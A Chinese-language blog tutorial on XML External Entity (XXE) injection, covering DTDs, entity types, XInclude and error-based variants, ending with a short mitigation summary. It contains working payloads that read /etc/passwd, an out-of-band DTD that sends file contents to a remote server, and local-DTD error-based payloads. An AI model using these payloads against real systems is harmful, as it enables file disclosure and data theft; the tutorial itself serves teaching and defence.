XML外部实体注入--XXE漏洞

上一篇文章简单总结了一下SQL注入攻击,本来这一篇想要把剩下的注入攻击一起写了,但是回顾了一下才发现原来XXE远比自己想象的要深奥,因此这篇文章就讲一讲我对XXE的拙见吧,若有不足请指正!

XXE

在文章开始之前我们先了解一下什么是XXE。 XXE(XML External Injection - XML外部实体注入),从名字当中就可以看出这时一个注入攻击,并且是针对XML外部实体的一种注入攻击。那么就意味着攻击点仅仅在外部实体这一个地方吗?其实除了外部实体,还存在一个命名空间的注入点。

什么是XML

XML的概念:

了解了XXE的基础概念,接下来就首先认识一下什么是XML。

XML是一种内设计用来传输和存储数据的一种扩展标记语言,它跟HTML很相似,但是又比HTML灵活需要多,它没有预定义的标签,它的元素标签可以定义使用,也可以不用定义直接拿来使用。

设计XML的宗旨是用来传输数据,而不是为显示数据。

XML在web当中的作用不亚于HTML。

总的来说XML就是一种用于传输和存储数据的并且具有高度灵活性的一种标记语言。

XML的三大组成:

从上面的图片我们首先可以看到的是XML数据传输的一个基本格式,它又三个部分组成——XML声明部分、DTD(Document Type Definition)、XML主体部分。

XML声明:说白了就算告诉你接下来是XML标记语言的内容,顺带说一下版本信息和编码标准。
DTD:元素类型定义,简单而言就算在这里可以定义不同节点何其内部匹配的元素标签,当然由于XML的高灵活性,哪怕不在这里定义同样也可以使用。
DTD的基本格式:

如果要定义节点及其内部的元素当然就要符合DTD的语法要求。

1.首先使用下面的格式确定XML的根节点为data,[]内包含的就是可以定义元素节点,定义实体的位置。
<!DOCTYPE data [  ] >
2.定义元素节点。
<!DOCTYPE note
[
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT from (#PCDATA)>表示from是纯字符的数据(不包含子元素就包含数据,还有其它类型自行查阅)
<!ELEMENT stockCheck ANY>表示任何对象都可以在父级<stockCheck></stockCheck>内
<!ELEMENT stockCheck EMPTY>表示它应该为空<stockCheck></stockCheck>
<!ELEMENT stockCheck(productId,storeId)>声明<stockCheck>可以有子级<productId>和<storeId>
]>
3.定义实体。
<!ENTITY myentity "my entity value" >
注意区分标签,一个是ELEMENT,一个是ENTITY。
实体,简而言之就是用一个字符来代表一串数据,但是这个数据可以通过多种方式引用,这也是XXE的关键所在,有点文件包含的味道。

什么是实体

在上面DTD的基本格式当中已经举了一个实体的例子,说直白点就是通过ENTITY引入一个参数,这个参数可以通过一定的方式代表一串数据,然后在XML部分通过&调用这个参数就可以达到注入的攻击。(仅仅个人理解,不代表官方解释)

既然说了是通过一定的方式对这个参数赋值,那么有哪些方式呢?

内部实体

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY YGG  "ygg">  // 定义一个内部实体 YGG  它的值为ygg
]>
<stockCheck>
    <productId>&YGG;</productId> //引用这个实体,代表这里传入的值是ygg
    <storeId>1</storeId>
</stockCheck3>

所谓的内部实体,就是说在定义参数时给他一个固定的值,这个值是定义者决定的。因此内部实体对于攻击而言并没什么卵用。

外部实体注入

外部实体

重点来了,既然名称都叫外部实体注入那么就说明这里就是攻击的核心位置。

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>  // 通过SYSTEM远程加载一个DTD 

<creds>
    <user>&xxe;</user>
    <pass>mypass</pass>
</creds>

通过上面的代码,我们发现了SYSTEM(一个关键字,用于表示远程加载资源文件)加载了一个远程的DTD文件,替换到这里的DTD部分使用。看到这里不知道大家有没有联想到另外一个常见的漏洞-文件包含。是不是这里就可以理解为xxe这个参数代表的就是一个远程的DTD文件内容。

这个设计原本就是为了简化XML格式的编写,如果存在不怀好意的人不老老实实的远程加载DTD呢?

<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [  
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>

从上面的代码我们不难看出这两个XML都通过file伪协议引入了外部文件,然后通过xml引入传给了后端的服务器。这个时候就会出现两种情况,一种是这个外部引入的文件传入后台后会经过一些列原因回显到前端,至于怎么回显的就不在此讨论,还有一种情况就是不会有回显,在后面会讨论。

观察上面的数据包,使用php伪协议读取了abc.php文件,在响应的数据包当中,返回了目标文件的base64编码。看到这里,肯定有小伙伴会问,SYSTEM这个关键字到底支持哪些伪协议?

不同脚本语言支持的伪协议。

伪协议的运用非常广泛,无论是SSRF还是文件包含以及今天所讲的XXE注入都会涉及到伪协议,在后续的文章我会更新伪协议专栏,感兴趣的伙伴可以点个收藏夹关注!!!!!

想必看到这里,大家多多少少应该也掌握到了外部实体注入的一些门道,通过外部实体的引入可以直接基于伪协议读文件、端口探测等也可以将payload的DTD放在一个远程的HTTP服务器当中。

<?xml version="1.0"?>
<!DOCTYPE a [
    <!ENTITY % d SYSTEM "http://xxxxx/test.dtd">
    %d;
]>
<c>&b;</c>

DTD文件中:
<!ENTITY b SYSTEM "file:///etc/passwd">

细致的同学就会发现这个代码当中出现了没有见过的'%',这也是接下来将要讲解的参数实体。

参数实体

正如上面的代码写的那样,(  <!ENTITY % d SYSTEM "http://xxxxx/test.dtd">) 通过ENTITY 使用(% 空格 参数)这样的形式定义的就是参数实体,它也是实体,因此它也就具有实体那样代表一段数据的特性。但是相比于外部实体和内部实体它跟他们有什么区别呢?

不知道大家从上面的代码中有没有发现一个现象,外部和内部实体都只能在XML部分通过(&参数)的形式引入,但是最后一个例子参数实体却在DTD的定义部分被引用了。

这就是它们最直观的区别,能否在DTD当中应用。但是这样又有什么卵用呢?我们不考虑它对于正向开发的用出。对于我们渗透而言却大有用处!如果一个XXE请求没有回显怎么办?那么它的用武之地就来了!!

无回显外带

请看以下代码

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://127.0.0.1/dtd.xml">
%sp;
%param1;
]>
<r>&exfil;</r>

File stored on http://127.0.0.1/dtd.xml
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://127.0.0.1/dtd.xml?a=%data;'>">

如果你能看懂这个代码就说明XXE算是也就基本掌握了,如果没看懂我来分析一下。

首先通过参数实体使用http协议引用了一个外部的DTD

它的作用就是将dtd.xml文件当中的内容引用到此DTD,可以任务在%sp出就是粘贴了dtd.xml的内容。

然后又引用了%paraml,这里相当在原DTD的位置去尝试通过伪协议去GET请求一个127.0.0.1/dtd.xml?%data地址,并且携带参数a=%data。假如127.0.0.1/dtd.xml这个路径使我们公网服务器的页面,那么我们就能接收到a的参数值。%data对应的就是’/etc/passwd‘内容。

这样我们就顺利外带出了/etc/passwd,但是GET请求需要考虑长度限制。

讲到这里,常规的外部实体注入攻击就差不多讲完了。

Xinclude

命名空间

xml文档的元素可以直接定义,那么如果其中包含了相同名称的元素我们应该如何区分呢?这就要用到NmaeSpace(命名空间)

命名空间的url可能指向的是一个说明文档或者一个规范,xml不会去访问。  总之就是一个用于区分相同名称标签的一种机制。

Xinclude

虽然理解了什么是命名空间,但是这个Xinclude具体的机制没有研究出来,但是直到咋用就行了,随着以后深入的学习应该自然而然就理解了。

<?php
$xml = <<<EOD
<?xml version="1.0" ?>
<root xmlns:xi="http://www.w3.org/2001/XInclude">
 <xi:include href="file:///etc/passwd" parse="text"/>
</root>
EOD;
$dom = new DOMDocument;
// let's have a nice output
$dom->preserveWhiteSpace = false;
$dom->formatOutput = true;
$dom->loadXML($xml);
$dom->xinclude();
echo $dom->saveXML();
?>

这是一个php脚本语言,我们主要看

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>

这里定义了一个xi的命名空间,让使用这个空间的include属性 使用href来定义一个连接,然后使用parse来定义文档格式。最后使用脚本语言去处理这个xml。

执行结果也是带出来passwd的信息。这样的利用方式无需开启远程包含实体,也可以执行。

参考:浅析xml之xinclude & xslt-安全客 - 安全资讯平台 (anquanke.com)

报错注入

与sql报错注入的原理类似,需要页面有准确的报错回显,基于报错信息外带出想要的信息。payload
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;




<!DOCTYPE foo [
    <!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
    <!ENTITY % custom_entity '
        <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
    '>
    %local_dtd;
]>
参考:XML外部实体注入(XXE)攻击方式汇总 - 跳跳糖 (tttang.com)

  • 27
    点赞
  • 38
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
XML外部实体注入漏洞XML External Entity Injection, 简称XXE)是一种常见的安全漏洞,攻击者可以利用这种漏洞来读取任意文件、执行系统命令等操作。 在XML文档中,可以通过定义实体来引用外部资源,例如文件、URL等。当XML解析器解析XML文档时,如果不对外部实体进行限制,攻击者可以通过构造恶意的XML文档,将外部实体指向敏感文件或者恶意URL,从而导致漏洞。 具体来说,攻击者可以在XML文档中定义一个实体,使用DTD(Document Type Definition)语法将该实体指向一个外部文件,然后在XML文档中使用该实体。当XML解析器解析该实体时,就会将指定的外部文件读取进来,从而导致漏洞。 例如,下面的XML文档定义了一个名为“file”的实体,指向了一个敏感文件“/etc/passwd”: ``` <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE message [ <!ELEMENT message (#PCDATA)> <!ENTITY file SYSTEM "file:///etc/passwd"> ]> <message>&file;</message> ``` 如果XML解析器不对外部实体进行限制,那么解析该文档时就会读取“/etc/passwd”文件的内容,并将其包含在<message>元素中返回给应用程序,从而导致敏感信息泄漏。 为了防止XXE漏洞,可以采取以下措施: 1. 禁止使用外部实体,或者限制外部实体的使用范围。可以在XML解析器中设置相关参数,例如禁止加载外部实体、禁止解析DTD等。 2. 对外部实体进行白名单过滤,只允许加载特定的URL或文件。 3. 检查输入数据,避免恶意输入注入XML文档中。 4. 对于持久化的XML数据,应该使用安全XML库来处理,例如使用DOM4J或JAXB等库,这些库会自动过滤掉外部实体
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值